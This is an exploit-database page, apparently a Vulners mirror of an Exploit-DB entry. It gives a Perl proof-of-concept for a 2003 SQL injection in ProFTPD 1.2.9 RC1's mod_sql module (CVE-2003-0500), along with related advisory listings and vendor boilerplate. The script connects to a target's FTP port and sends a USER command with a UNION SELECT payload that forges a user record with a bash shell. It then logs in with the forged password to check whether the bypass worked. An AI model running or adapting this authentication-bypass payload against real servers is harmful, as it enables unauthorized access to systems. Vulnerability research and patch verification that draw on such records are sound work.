Lucene search
+L

ProFTPd 1.2.9 RC1 - 'mod_sql' SQL Injection

🗓️ 19 Jun 2003 00:00:00Reported by SpaineType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 69 Views

ProFTPd 1.2.9 RC1 vulnerable to SQL Injection via mod_sql exploit proof of concept.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2003-0500
4 Jul 200304:00
cve
cvelist
Cvelist
CVE-2003-0500
4 Jul 200304:00
cvelist
nessus
Tenable Nessus
Debian DSA-338-1 : proftpd - SQL injection
29 Sep 200400:00
nessus
nessus
Tenable Nessus
PostgreSQL Authentication Module (mod_sql) for ProFTPD USER Name Parameter SQL Injection
19 Jun 200300:00
nessus
euvd
EUVD
EUVD-2003-0494
7 Oct 202500:30
euvd
nvd
NVD
CVE-2003-0500
7 Aug 200304:00
nvd
openvas
OpenVAS
Debian: Security Advisory (DSA-338)
17 Jan 200800:00
openvas
openvas
OpenVAS
Debian Security Advisory DSA 338-1 (x-face-el)
17 Jan 200800:00
openvas
osv
OSV
DSA-338 proftpd - SQL injection
29 Jun 200300:00
osv
#!/usr/bin/perl
# ProFTPD 1.2.9 rc1 mod_sql SQL Injection remote Exploit
# Spaine - 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote =
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash'
WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;

# milw0rm.com [2003-06-19]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Aug 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.18266
69